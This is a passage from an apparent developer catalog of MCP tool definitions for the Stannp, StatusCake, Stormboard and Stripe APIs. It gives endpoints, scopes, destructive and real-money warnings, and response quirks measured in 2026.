booking dispatches it. There is no test mode and no un-approve. Approve Campaign via POST /v1/campaigns/approve. Approve a campaign. This locks the design and recipient selection. Once approved, changes cannot be made. POST /api/v1/stannp/v1/campaigns/approve. Scopes: api. stannp_post_v1_campaigns_available_dates (read) — Get Campaign Available Dates via POST /v1/campaigns/availableDates. Get available dates for booking a campaign. POST /api/v1/stannp/v1/campaigns/availableDates. Scopes: api. stannp_post_v1_campaigns_book (write) — SPENDS REAL MONEY: booking a campaign DISPATCHES every mailpiece in it and takes payment from the account balance. There is NO test mode on this call. Price it first with the campaign-cost tool and approve it deliberately. Book Campaign via POST /v1/campaigns/book. Book a campaign for dispatch. Payment is taken from your balance. POST /api/v1/stannp/v1/campaigns/book. Scopes: api. stannp_post_v1_campaigns_cost (read) — Get Campaign Cost via POST /v1/campaigns/cost. Get the cost breakdown and rates for a campaign. POST /api/v1/stannp/v1/campaigns/cost. Scopes: api. stannp_post_v1_campaigns_create (write) — Create Campaign via POST /v1/campaigns/create. Create a new campaign. Measured 2026-09-16: the response is {"success":true,"data":"571884"} -- the campaign id as a bare string, NOT the {"id": ...} object the reference shows. Creates a DRAFT. Nothing is printed, posted or charged until the campaign is approved and then booked. POST /api/v1/stannp/v1/campaigns/create. Scopes: api. stannp_post_v1_campaigns_delete (write, destructive) — DESTRUCTIVE: this deletes the campaign and its recipient selection. Only a campaign that has not been booked can be deleted. Delete Campaign via POST /v1/campaigns/delete. Delete a campaign. Only campaigns that have not been booked can be deleted. POST /api/v1/stannp/v1/campaigns/delete. Scopes: api. stannp_post_v1_campaigns_sample (read) — Sample Campaign via POST /v1/campaigns/sample. Produce a PDF sample of your campaign. The link is valid for 30 minutes. POST /api/v1/stannp/v1/campaigns/sample. Scopes: api. stannp_post_v1_files_create_folder (write) — Create Folder via POST /v1/files/createFolder. Create a folder in your secure file transfer area. POST /api/v1/stannp/v1/files/createFolder. Scopes: api. stannp_post_v1_files_upload (write) — Upload File via POST /v1/files/upload. Upload a file to your secure file transfer area. POST /api/v1/stannp/v1/files/upload. Scopes: api. stannp_post_v1_groups_add_by_group_id (write) — Add Recipients To Group via POST /v1/groups/add/{group_id}. Add recipients to an existing mailing list. Measured 2026-09-16: adding a recipient that is already in the group answers {"success":true,"data":0} -- the count added, not an error. POST /api/v1/stannp/v1/groups/add/{group_id}. Scopes: api. stannp_post_v1_groups_calculate_by_group_id (write) — Recalculate Group via POST /v1/groups/calculate/{group_id}. Recalculate a group to update its statistics. POST /api/v1/stannp/v1/groups/calculate/{group_id}. Scopes: api. stannp_post_v1_groups_delete (write, destructive) — DESTRUCTIVE: this deletes the mailing group, and with delete_recipients=true it DELETES its recipients outright -- they stop existing in every other group too. Delete Group via POST /v1/groups/delete. Delete a mailing list. POST /api/v1/stannp/v1/groups/delete. Scopes: api. stannp_post_v1_groups_new (write) — Create Group via POST /v1/groups/new. Create a new empty mailing list. POST /api/v1/stannp/v1/groups/new. Scopes: api. stannp_post_v1_groups_purge (write, destructive) — DESTRUCTIVE: this removes every recipient from the group, and with delete_recipients=true it DELETES those recipients outright -- they stop existing in every other group too. Purge Group via POST /v1/groups/purge. Remove all recipients from a mailing list. POST /api/v1/stannp/v1/groups/purge. Scopes: api. stannp_post_v1_groups_remove_by_group_id (write) — Remove Recipients From Group via POST /v1/groups/remove/{group_id}. Remove recipients from a group. This only removes the recipient from the group and does not delete the recipient. POST /api/v1/stannp/v1/groups/remove/{group_id}. Scopes: api. stannp_post_v1_letters_cancel (write, destructive) — DESTRUCTIVE: cancelling stops a mailpiece the account has ALREADY PAID FOR from being posted, and cannot be undone. It succeeds only before production starts. Cancel Letter via POST /v1/letters/cancel. Cancel a letter if processing has not yet started. Measured 2026-09-16: a mailpiece that cannot be cancelled answers HTTP 400 {"error":"We could not find any items which can be cancelled"} -- the same status for "no such id" and "too late to cancel". POST /api/v1/stannp/v1/letters/cancel. Scopes: api. stannp_post_v1_letters_create (write) — SPENDS REAL MONEY: this PRINTS AND POSTS a physical letter and charges the Stannp account. Send test=true to produce a sample PDF instead, at no charge; a test response is identifiable by "id": 0 and "status": "test". Omitting test posts real mail. Create Letter via POST /v1/letters/create. Create a single letter with mail merge for address and variable data. POST /api/v1/stannp/v1/letters/create. Scopes: api. stannp_post_v1_letters_post (write) — SPENDS REAL MONEY: this PRINTS AND POSTS a physical letter and charges the Stannp account. Send test=true to produce a sample PDF instead, at no charge; a test response is identifiable by "id": 0 and "status": "test". Omitting test posts real mail. Post Pre-addressed Letter via POST /v1/letters/post. Post a letter that already has the address on the PDF. The API uses OCR to extract the recipient address from the document. The address is read OFF THE PDF by OCR: measured 2026-09-16, a PDF with no postal address answers HTTP 400 {"error":"We couldn't OCR the recipient"} even with test=true. POST /api/v1/stannp/v1/letters/post. Scopes: api. stannp_post_v1_pdf_merge (write) — Merge PDFs via POST /v1/pdf/merge. Merge multiple PDF files into a single file. POST /api/v1/stannp/v1/pdf/merge. Scopes: api. stannp_post_v1_postcards_cancel (write, destructive) — DESTRUCTIVE: cancelling stops a mailpiece the account has ALREADY PAID FOR from being posted, and cannot be undone. It succeeds only before production starts. Cancel Postcard via POST /v1/postcards/cancel. Cancel a postcard if processing has not yet started. Measured 2026-09-16: a mailpiece that cannot be cancelled answers HTTP 400 {"error":"We could not find any items which can be cancelled"} -- the same status for "no such id" and "too late to cancel". POST /api/v1/stannp/v1/postcards/cancel. Scopes: api. stannp_post_v1_postcards_create (write) — SPENDS REAL MONEY: this PRINTS AND POSTS a physical postcard and charges the Stannp account. Send test=true to produce a sample PDF instead, at no charge; a test response is identifiable by "id": 0 and "status": "test". Omitting test posts real mail. Create Postcard via POST /v1/postcards/create. Create and send a single postcard. Performs a mail merge to place the address and any variable data. POST /api/v1/stannp/v1/postcards/create. Scopes: api. stannp_post_v1_recipient_events_create (write) — Create Recipient Event via POST /v1/recipientEvents/create. Create a recipient event for tracking campaign engagement and conversions. Events can trigger automated communication. Measured 2026-09-16: the response is {"success":true,"data":"0"} -- a string, not the integer the reference shows. POST /api/v1/stannp/v1/recipientEvents/create. Scopes: api. stannp_post_v1_recipients_delete (write, destructive) — DESTRUCTIVE: this permanently deletes the recipient from the account. It is removed from every group it belonged to and cannot be recovered. Delete Recipient via POST /v1/recipients/delete. Permanently delete a recipient from your account. POST /api/v1/stannp/v1/recipients/delete. Scopes: api. stannp_post_v1_recipients_import (write) — Import Recipients via POST /v1/recipients/import. Import a data file into your account. POST /api/v1/stannp/v1/recipients/import. Scopes: api. stannp_post_v1_recipients_new (write) — Create Recipient via POST /v1/recipients/new. Create a new recipient. POST /api/v1/stannp/v1/recipients/new. Scopes: api. stannp_post_v1_selections_new (write) — Create Selection via POST /v1/selections/new. Create an auto-filter selection for a group. Measured 2026-09-16: the response is {"success":true,"data":true}, NOT the [{"id": "1234"}] array the reference shows; the new selection's id is not returned. POST /api/v1/stannp/v1/selections/new. Scopes: api. stannp_post_v1_sms_create (write) — SPENDS REAL MONEY: this SENDS an SMS and charges the Stannp account. Send test=true to price the message without sending it; a test response is identifiable by "id": 0 and "status": "test". Send SMS via POST /v1/sms/create. Send an SMS message to a recipient's mobile device. NOT AVAILABLE ON EVERY ACCOUNT: measured 2026-09-16, this account answers 404 {"success":false,"error":"Resource not found"} to every form of this call. That is NOT the router's 404, which names the unmatched segment ("Resource 'definitely-not-a-route' not found"), so the route is mounted and the SMS feature -- which the response body describes with a profile_id and a sender-id profile_type -- is what the account lacks. POST /api/v1/stannp/v1/sms/create. Scopes: api. ================================================================================ ## StatusCake URL: https://www.agenticfabriq.com/integrations/statuscake Section: Integrated Tools StatusCake — 36 MCP tools Provider key: statuscake. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. statuscake_delete_contact_groups_by_group_id (write, destructive) — Delete a contact group via DELETE /contact-groups/{group_id}. Deletes a contact group with the given id. DELETE /api/v1/statuscake/contact-groups/{group_id}. Scopes: api. statuscake_delete_heartbeat_by_test_id (write, destructive) — Delete a heartbeat check via DELETE /heartbeat/{test_id}. Deletes a heartbeat check with the given id. DELETE /api/v1/statuscake/heartbeat/{test_id}. Scopes: api. statuscake_delete_maintenance_windows_by_window_id (write, destructive) — Delete a maintenance window via DELETE /maintenance-windows/{window_id}. Deletes a maintenance window with the given id. DELETE /api/v1/statuscake/maintenance-windows/{window_id}. Scopes: api. statuscake_delete_pagespeed_by_test_id (write, destructive) — Delete a pagespeed check via DELETE /pagespeed/{test_id}. Deletes a pagespeed check with the given id. DELETE /api/v1/statuscake/pagespeed/{test_id}. Scopes: api. statuscake_delete_ssl_by_test_id (write, destructive) — Delete an SSL check via DELETE /ssl/{test_id}. Deletes an SSL check with the given id. DELETE /api/v1/statuscake/ssl/{test_id}. Scopes: api. statuscake_delete_uptime_by_test_id (write, destructive) — Delete an uptime check via DELETE /uptime/{test_id}. Deletes an uptime check with the given id. DELETE /api/v1/statuscake/uptime/{test_id}. Scopes: api. statuscake_get_contact_groups (read) — Get all contact groups via GET /contact-groups. Returns a list of contact groups for an account. GET /api/v1/statuscake/contact-groups. Scopes: api. statuscake_get_contact_groups_by_group_id (read) — Retrieve a contact group via GET /contact-groups/{group_id}. Returns a contact group with the given id. GET /api/v1/statuscake/contact-groups/{group_id}. Scopes: api. statuscake_get_heartbeat (read) — Get all heartbeat checks via GET /heartbeat. Returns a list of heartbeat checks for an account. GET /api/v1/statuscake/heartbeat. Scopes: api. statuscake_get_heartbeat_by_test_id (read) — Retrieve a heartbeat check via GET /heartbeat/{test_id}. Returns a heartbeat check with the given id. GET /api/v1/statuscake/heartbeat/{test_id}. Scopes: api. statuscake_get_maintenance_windows (read) — Get all maintenance windows via GET /maintenance-windows. Returns a list of maintenance windows for an account. GET /api/v1/statuscake/maintenance-windows. Scopes: api. statuscake_get_maintenance_windows_by_window_id (read) — Retrieve a maintenance window via GET /maintenance-windows/{window_id}. Returns a maintenance window with the given id. GET /api/v1/statuscake/maintenance-windows/{window_id}. Scopes: api. statuscake_get_pagespeed (read) — Get all pagespeed checks via GET /pagespeed. Returns a list of pagespeed checks for an account. GET /api/v1/statuscake/pagespeed. Scopes: api. statuscake_get_pagespeed_by_test_id (read) — Retrieve a pagespeed check via GET /pagespeed/{test_id}. Returns a pagespeed check with the given id. GET /api/v1/statuscake/pagespeed/{test_id}. Scopes: api. statuscake_get_pagespeed_by_test_id_history (read) — Get all pagespeed check history via GET /pagespeed/{test_id}/history. Returns a list of pagespeed check history results for a given id, detailing the runs performed on the StatusCake testing infrastruture. The returned results are a paginated series. Alongside the response data is a `links` object referencing the current response document, `self`, and the next page in the series, `next`. Aggregated data over the specified duration is returned in the root level `metadata` field. GET /api/v1/statuscake/pagespeed/{test_id}/history. Scopes: api. statuscake_get_pagespeed_locations (read) — Get all pagespeed monitoring locations via GET /pagespeed-locations. Returns a list of locations detailing server information for pagespeed monitoring servers. This information can be used to create further checks using the API. GET /api/v1/statuscake/pagespeed-locations. Scopes: api. statuscake_get_ssl (read) — Get all SSL checks via GET /ssl. Returns a list of SSL checks for an account. GET /api/v1/statuscake/ssl. Scopes: api. statuscake_get_ssl_by_test_id (read) — Retrieve an SSL check via GET /ssl/{test_id}. Returns an SSL check with the given id. GET /api/v1/statuscake/ssl/{test_id}. Scopes: api. statuscake_get_uptime (read) — Get all uptime checks via GET /uptime. Returns a list of uptime checks for an account. GET /api/v1/statuscake/uptime. Scopes: api. statuscake_get_uptime_by_test_id (read) — Retrieve an uptime check via GET /uptime/{test_id}. Returns an uptime check with the given id. GET /api/v1/statuscake/uptime/{test_id}. Scopes: api. statuscake_get_uptime_by_test_id_alerts (read) — Get all uptime check alerts via GET /uptime/{test_id}/alerts. Returns a list of uptime check alerts for a given id. The returned results are a paginated series. Alongside the response data is a `links` object referencing the current response document, `self`, and the next page in the series, `next`. GET /api/v1/statuscake/uptime/{test_id}/alerts. Scopes: api. statuscake_get_uptime_by_test_id_history (read) — Get all uptime check history via GET /uptime/{test_id}/history. Returns a list of uptime check history results for a given id, detailing the runs performed on the StatusCake testing infrastruture. The returned results are a paginated series. Alongside the response data is a `links` object referencing the current response document, `self`, and the next page in the series, `next`. GET /api/v1/statuscake/uptime/{test_id}/history. Scopes: api. statuscake_get_uptime_by_test_id_periods (read) — Get all uptime check periods via GET /uptime/{test_id}/periods. Returns a list of uptime check periods for a given id, detailing the creation time of the period, when it ended and the duration. The returned results are a paginated series. Alongside the response data is a `links` object referencing the current response document, `self`, and the next page in the series, `next`. GET /api/v1/statuscake/uptime/{test_id}/periods. Scopes: api. statuscake_get_uptime_locations (read) — Get all uptime monitoring locations via GET /uptime-locations. Returns a list of locations detailing server information for uptime monitoring servers. This information can be used to create further checks using the API. GET /api/v1/statuscake/uptime-locations. Scopes: api. statuscake_post_contact_groups (write) — Create a contact group via POST /contact-groups. Creates a contact group with the given parameters. POST /api/v1/statuscake/contact-groups. Scopes: api. statuscake_post_heartbeat (write) — Create a heartbeat check via POST /heartbeat. Creates a heartbeat check with the given parameters. POST /api/v1/statuscake/heartbeat. Scopes: api. statuscake_post_maintenance_windows (write) — Create a maintenance window via POST /maintenance-windows. Creates a maintenance window with the given parameters. POST /api/v1/statuscake/maintenance-windows. Scopes: api. statuscake_post_pagespeed (write) — Create a pagespeed check via POST /pagespeed. Creates a pagespeed check with the given parameters. POST /api/v1/statuscake/pagespeed. Scopes: api. statuscake_post_ssl (write) — Create an SSL check via POST /ssl. Creates an SSL check with the given parameters. POST /api/v1/statuscake/ssl. Scopes: api. statuscake_post_uptime (write) — Create an uptime check via POST /uptime. Creates an uptime check with the given parameters. POST /api/v1/statuscake/uptime. Scopes: api. statuscake_put_contact_groups_by_group_id (write) — Update a contact group via PUT /contact-groups/{group_id}. Updates a contact group with the given parameters. PUT /api/v1/statuscake/contact-groups/{group_id}. Scopes: api. statuscake_put_heartbeat_by_test_id (write) — Update a heartbeat check via PUT /heartbeat/{test_id}. Updates a heartbeat check with the given parameters. PUT /api/v1/statuscake/heartbeat/{test_id}. Scopes: api. statuscake_put_maintenance_windows_by_window_id (write) — Update a maintenance window via PUT /maintenance-windows/{window_id}. Updates a maintenance window with the given parameters. PUT /api/v1/statuscake/maintenance-windows/{window_id}. Scopes: api. statuscake_put_pagespeed_by_test_id (write) — Update a pagespeed check via PUT /pagespeed/{test_id}. Updates a pagespeed check with the given parameters. PUT /api/v1/statuscake/pagespeed/{test_id}. Scopes: api. statuscake_put_ssl_by_test_id (write) — Update an SSL check via PUT /ssl/{test_id}. Updates an SSL check with the given parameters. PUT /api/v1/statuscake/ssl/{test_id}. Scopes: api. statuscake_put_uptime_by_test_id (write) — Update an uptime check via PUT /uptime/{test_id}. Updates an uptime check with the given parameters. PUT /api/v1/statuscake/uptime/{test_id}. Scopes: api. ================================================================================ ## Stormboard URL: https://www.agenticfabriq.com/integrations/stormboard Section: Integrated Tools Stormboard — 51 MCP tools Provider key: stormboard. Scopes: api. Connect: AF hosted — Agentic Fabriq's OAuth app, coming soon; BYO — your own OAuth app, coming soon; API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. stormboard_delete_ideas_by_idea_id (write, destructive) — Delete an idea May require a Team plan: Stormboard marks this route availability tier 40, and a plan that does not permit a resource answers 401. via DELETE /ideas/{idea_id} DELETE /api/v1/stormboard/ideas/{idea_id}. Scopes: api. stormboard_delete_ideas_by_idea_id_comments_by_comment_id (write, destructive) — Delete a comment May require a Team plan: Stormboard marks this route availability tier 40, and a plan that does not permit a resource answers 401. via DELETE /ideas/{idea_id}/comments/{comment_id} DELETE /api/v1/stormboard/ideas/{idea_id}/comments/{comment_id}. Scopes: api. stormboard_delete_ideas_by_idea_id_vote (write, destructive) — Delete a vote May require a Team plan: Stormboard marks this route availability tier 40, and a plan that does not permit a resource answers 401. via DELETE /ideas/{idea_id}/vote DELETE /api/v1/stormboard/ideas/{idea_id}/vote. Scopes: api. stormboard_delete_ideas_connector (write, destructive) — Delete a line connector that is connecting a pair of ideas via DELETE /ideas/connector DELETE /api/v1/stormboard/ideas/connector. Scopes: api. stormboard_delete_ideas_connector_by_connector_id (write, destructive) — Delete a line connector using the id of the connector via DELETE /ideas/connector/{connector_id} DELETE /api/v1/stormboard/ideas/connector/{connector_id}. Scopes: api. stormboard_delete_storms_by_storm_id_close (write, destructive) — Close an open Storm. You must be the Storm creator, or a Storm administrator via DELETE /storms/{storm_id}/close DELETE /api/v1/stormboard/storms/{storm_id}/close. Scopes: api. stormboard_delete_storms_by_storm_id_favorite (write, destructive) — Remove a Favorite (Star) from a Storm on the Dashboard via DELETE /storms/{storm_id}/favorite DELETE /api/v1/stormboard/storms/{storm_id}/favorite. Scopes: api. stormboard_get_chat_by_storm_id_list (read) — Get a list of chat messages via GET /chat/{storm_id}/list GET /api/v1/stormboard/chat/{storm_id}/list. Scopes: api. stormboard_get_chat_by_storm_id_new (read) — Get a list of unread chat messages via GET /chat/{storm_id}/new GET /api/v1/stormboard/chat/{storm_id}/new. Scopes: api. stormboard_get_folders_by_team_id_list (read) — Get a list of folders for a team via GET /folders/{team_id}/list GET /api/v1/stormboard/folders/{team_id}/list. Scopes: api. stormboard_get_ideas_by_idea_id (read) — Get the data and meta data for a specific idea. May require a Team plan: Stormboard marks this route availability tier 40, and a plan that does not permit a resource answers 401. via GET /ideas/{idea_id} GET /api/v1/stormboard/ideas/{idea_id}. Scopes: api. stormboard_get_ideas_by_idea_id_comments (read) — Get a list of comments May require a Team plan: Stormboard marks this route availability tier 40, and a plan that does not permit a resource answers 401. via GET /ideas/{idea_id}/comments GET /api/v1/stormboard/ideas/{idea_id}/comments. Scopes: api. stormboard_get_ideas_by_idea_id_tags (read) — Get tag data for an idea via GET /ideas/{idea_id}/tags GET /api/v1/stormboard/ideas/{idea_id}/tags. Scopes: api. stormboard_get_storms_by_storm_id (read) — Retrieve the information and setup of a Storm via GET /storms/{storm_id} GET /api/v1/stormboard/storms/{storm_id}. Scopes: api. stormboard_get_storms_by_storm_id_access (read) — Check if I have access to a Storm, and if so what access do I have. If not, you will receive a 401 error. via GET /storms/{storm_id}/access GET /api/v1/stormboard/storms/{storm_id}/access. Scopes: api. stormboard_get_storms_by_storm_id_connectors (read) — Get a list of connectors in a Storm via GET /storms/{storm_id}/connectors GET /api/v1/stormboard/storms/{storm_id}/connectors. Scopes: api. stormboard_get_storms_by_storm_id_ideas (read) — Get a list of ideas in a particular Storm. Will return all ideas, however Files, Images, Whiteboards do not contain their corresponding data at this time. Make a separate call to GET /ideas/{idea-id} to retrieve that data. View the documentation in GET /ideas/{idea-id} for the format of the data returned. via GET /storms/{storm_id}/ideas GET /api/v1/stormboard/storms/{storm_id}/ideas. Scopes: api. stormboard_get_storms_by_storm_id_tags (read) — This returns the list of sags that have been created in the Storm. Tag data for individual ideas is not available here. via GET /storms/{storm_id}/tags GET /api/v1/stormboard/storms/{storm_id}/tags. Scopes: api. stormboard_get_storms_by_storm_id_template (read) — Get template data for a Storm. Will return with a list that contains all section's data and it's subsection. via GET /storms/{storm_id}/template GET /api/v1/stormboard/storms/{storm_id}/template. Scopes: api. stormboard_get_storms_by_storm_id_users (read) — Get a list of participants via GET /storms/{storm_id}/users GET /api/v1/stormboard/storms/{storm_id}/users. Scopes: api. stormboard_get_storms_invites (read) — Returns a list of Storms that you have been invited to via GET /storms/invites GET /api/v1/stormboard/storms/invites. Scopes: api. stormboard_get_storms_list (read) — Get a list of your Storms via GET /storms/list GET /api/v1/stormboard/storms/list. Scopes: api. stormboard_get_templates_categories (read) — Get a list of template categories via GET /templates/categories GET /api/v1/stormboard/templates/categories. Scopes: api. stormboard_get_users_profile (read) — Get info about your user via GET /users/profile GET /api/v1/stormboard/users/profile. Scopes: api. stormboard_get_users_test (read) — No extra parameters required, simply ping this endpoint to check for the 200 or 403 status code. via GET /users/test GET /api/v1/stormboard/users/test. Scopes: api. stormboard_post_chat_by_storm_id (write) — Create a new chat messages via POST /chat/{storm_id} POST /api/v1/stormboard/chat/{storm_id}. Scopes: api. stormboard_post_ideas (write) — Create an idea via POST /ideas POST /api/v1/stormboard/ideas. Scopes: api. stormboard_post_ideas_by_idea_id_comments (write) — Create a comment May require a Team plan: Stormboard marks this route availability tier 40, and a plan that does not permit a resource answers 401. via POST /ideas/{idea_id}/comments POST /api/v1/stormboard/ideas/{idea_id}/comments. Scopes: api. stormboard_post_ideas_by_idea_id_tags (write) — Updates the tag data for an idea. Any tag that isn't in the change list will remain unchained. Any tag that isn't found in the Storm list will be created for you, and tag data applied. via POST /ideas/{idea_id}/tags POST /api/v1/stormboard/ideas/{idea_id}/tags. Scopes: api. stormboard_post_ideas_by_idea_id_vote (write) — Post a vote May require a Team plan: Stormboard marks this route availability tier 40, and a plan that does not permit a resource answers 401. via POST /ideas/{idea_id}/vote POST /api/v1/stormboard/ideas/{idea_id}/vote. Scopes: api. stormboard_post_ideas_connector (write) — Creates a line connector between 2 ideas. via POST /ideas/connector POST /api/v1/stormboard/ideas/connector. Scopes: api. stormboard_post_storms (write) — Create a new Storm via POST /storms POST /api/v1/stormboard/storms. Scopes: api. stormboard_post_storms_by_storm_id_duplicate (write) — Duplicate a Storm May require a Team plan: Stormboard marks this route availability tier 40, and a plan that does not permit a resource answers 401. via POST /storms/{storm_id}/duplicate POST /api/v1/stormboard/storms/{storm_id}/duplicate. Scopes: api. stormboard_post_storms_by_storm_id_favorite (write) — Add a Favorite (Star) a Storm on the Dashboard via POST /storms/{storm_id}/favorite POST /api/v1/stormboard/storms/{storm_id}/favorite. Scopes: api. stormboard_post_storms_by_storm_id_invite (write) — Invite people to join a Storm via POST /storms/{storm_id}/invite POST /api/v1/stormboard/storms/{storm_id}/invite. Scopes: api. stormboard_post_storms_by_storm_id_invite_accept (write) — Mark a Storm invitation as accepted via POST /storms/{storm_id}/invite/accept POST /api/v1/stormboard/storms/{storm_id}/invite/accept. Scopes: api. stormboard_post_storms_by_storm_id_invite_decline (write) — Decline a Storm invitation and remove it from your list via POST /storms/{storm_id}/invite/decline POST /api/v1/stormboard/storms/{storm_id}/invite/decline. Scopes: api. stormboard_post_storms_by_storm_id_leave (write) — Leave a Storm via POST /storms/{storm_id}/leave POST /api/v1/stormboard/storms/{storm_id}/leave. Scopes: api. stormboard_post_storms_by_storm_id_reopen (write) — Reopen a closed Storm. You must be a Storm administrator, or the team owner May require a Team plan: Stormboard marks this route availability tier 40, and a plan that does not permit a resource answers 401. via POST /storms/{storm_id}/reopen POST /api/v1/stormboard/storms/{storm_id}/reopen. Scopes: api. stormboard_post_storms_by_storm_id_tags (write) — Creates a new tag in a Storm without any data related to Ideas via POST /storms/{storm_id}/tags POST /api/v1/stormboard/storms/{storm_id}/tags. Scopes: api. stormboard_post_storms_join (write) — Join a Storm via POST /storms/join POST /api/v1/stormboard/storms/join. Scopes: api. stormboard_put_chat_by_storm_id_allread (write) — Mark chat messages as read via PUT /chat/{storm_id}/allread PUT /api/v1/stormboard/chat/{storm_id}/allread. Scopes: api. stormboard_put_ideas_by_id (write) — Update an idea May require a Team plan: Stormboard marks this route availability tier 40, and a plan that does not permit a resource answers 401. via PUT /ideas/{idea_id} PUT /api/v1/stormboard/ideas/{idea_id}. Scopes: api. stormboard_put_ideas_by_idea_id_comments_by_comment_id (write) — Update a comment May require a Team plan: Stormboard marks this route availability tier 40, and a plan that does not permit a resource answers 401. via PUT /ideas/{idea_id}/comments/{comment_id} PUT /api/v1/stormboard/ideas/{idea_id}/comments/{comment_id}. Scopes: api. stormboard_put_ideas_by_idea_id_task (write) — Update a Task May require a Team plan: Stormboard marks this route availability tier 40, and a plan that does not permit a resource answers 401. via PUT /ideas/{idea_id}/task PUT /api/v1/stormboard/ideas/{idea_id}/task. Scopes: api. stormboard_put_ideas_connector_by_connector_id (write) — Update a specific line connector between 2 ideas. via PUT /ideas/connector/{connector_id} PUT /api/v1/stormboard/ideas/connector/{connector_id}. Scopes: api. stormboard_put_storms_by_storm_id (write) — Update an existing Storm. You must be the Storm creator, or a Storm administrator May require a Team plan: Stormboard marks this route availability tier 40, and a plan that does not permit a resource answers 401. via PUT /storms/{storm_id} PUT /api/v1/stormboard/storms/{storm_id}. Scopes: api. stormboard_put_storms_by_storm_id_legend (write) — Update the color labels of the legend. You must be the Storm creator, or a Storm administrator May require a Team plan: Stormboard marks this route availability tier 40, and a plan that does not permit a resource answers 401. via PUT /storms/{storm_id}/legend PUT /api/v1/stormboard/storms/{storm_id}/legend. Scopes: api. stormboard_put_storms_by_storm_id_section_by_section_index (write) — Update section's title, description and/or character in a Storm. You must be the Storm administrator May require a Team plan: Stormboard marks this route availability tier 40, and a plan that does not permit a resource answers 401. via PUT /storms/{storm_id}/section/{section_index} PUT /api/v1/stormboard/storms/{storm_id}/section/{section_index}. Scopes: api. stormboard_put_users_notifications (write) — Update notifications May require a Team plan: Stormboard marks this route availability tier 40, and a plan that does not permit a resource answers 401. via PUT /users/notifications PUT /api/v1/stormboard/users/notifications. Scopes: api. stormboard_put_users_profile (write) — Update your profile via PUT /users/profile PUT /api/v1/stormboard/users/profile. Scopes: api. ================================================================================ ## Stripe URL: https://www.agenticfabriq.com/integrations/stripe Section: Integrated Tools Stripe — 485 MCP tools Provider key: stripe. Scopes: stripe_read_account, stripe_read_banking, stripe_read_billing, stripe_read_catalog, stripe_read_climate, stripe_read_connect, stripe_read_customers, stripe_read_disputes, stripe_read_events, stripe_read_files, stripe_read_identity, stripe_read_issuing, stripe_read_payments, stripe_read_tax, stripe_read_terminal, stripe_read_treasury, stripe_write_banking, stripe_write_billing, stripe_write_catalog, stripe_write_climate, stripe_write_connect, stripe_write_customers, stripe_write_disputes, stripe_write_identity, stripe_write_issuing, stripe_write_payments, stripe_write_refunds, stripe_write_reporting, stripe_write_tax, stripe_write_terminal, stripe_write_treasury. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. stripe_accept_quote (write, destructive) — DESTRUCTIVE. Accepts the specified quote. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/accept-quote. Scopes: stripe_write_billing. stripe_activate_billing_alert (write) — Reactivates this alert, allowing it to trigger again. POST /api/v1/tools/stripe/activate-billing-alert. Scopes: stripe_write_billing. stripe_add_lines_invoice (write) — Adds multiple line items to an invoice. This is only possible when an invoice is still a draft. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/add-lines-invoice. Scopes: stripe_write_billing. stripe_approve_issuing_authorization (write, destructive) — DESTRUCTIVE and TIME-CRITICAL: approve a card authorization that is waiting on the platform's real-time decision, with a merchant terminal live at the other end. THIS SPENDS REAL MONEY -- approving commits the funding balance, and the only recovery is a dispute. Stripe gives roughly two seconds before it applies the account's default, so an unanswered authorization is not a safe state. `amount` may approve a LOWER amount than requested, which is the bounded way to say yes. Needs confirm_live_mode=true on a live connection. POST /api/v1/tools/stripe/approve-issuing-authorization. Scopes: stripe_write_issuing. stripe_approve_review (write, destructive) — DESTRUCTIVE. Approves a Review object, closing it and removing it from the list of reviews. Overrides Stripe Radar's fraud hold on one specific live payment and lets it capture. Nothing in the request tells you whether the payment is fraudulent, and there is no un-approve: if it was fraud, the merchant now owns a chargeback plus the dispute fee. The reverse decision is not this tool's opposite -- Stripe has no decline-review endpoint; leaving a review alone lets it expire and the payment cancel. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/approve-review. Scopes: stripe_write_disputes. stripe_archive_billing_alert (write, destructive) — DESTRUCTIVE. Archives this alert, removing it from the list view and APIs. This is non-reversible. POST /api/v1/tools/stripe/archive-billing-alert. Scopes: stripe_write_billing. stripe_archive_invoice_rendering_template (write, destructive) — DESTRUCTIVE. Updates the status of an invoice rendering template to 'archived' so no new Stripe objects (customers, invoices, etc.) can reference it. The template can also no longer be updated. However, if the template is already set on a Stripe object, it will continue to be applied on invoices generated by it. POST /api/v1/tools/stripe/archive-invoice-rendering-template. Scopes: stripe_write_billing. stripe_attach_payment_invoice (write) — Attaches a PaymentIntent or an Out of Band Payment to the invoice, adding it to the list of payments. For the PaymentIntent, when the PaymentIntent's status changes to succeeded, the payment is credited to the invoice, increasing its amount_paid. When the invoice is fully paid, the invoice's status becomes paid. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/attach-payment-invoice. Scopes: stripe_write_billing. stripe_attach_payment_method (write) — Attaches a PaymentMethod object to a 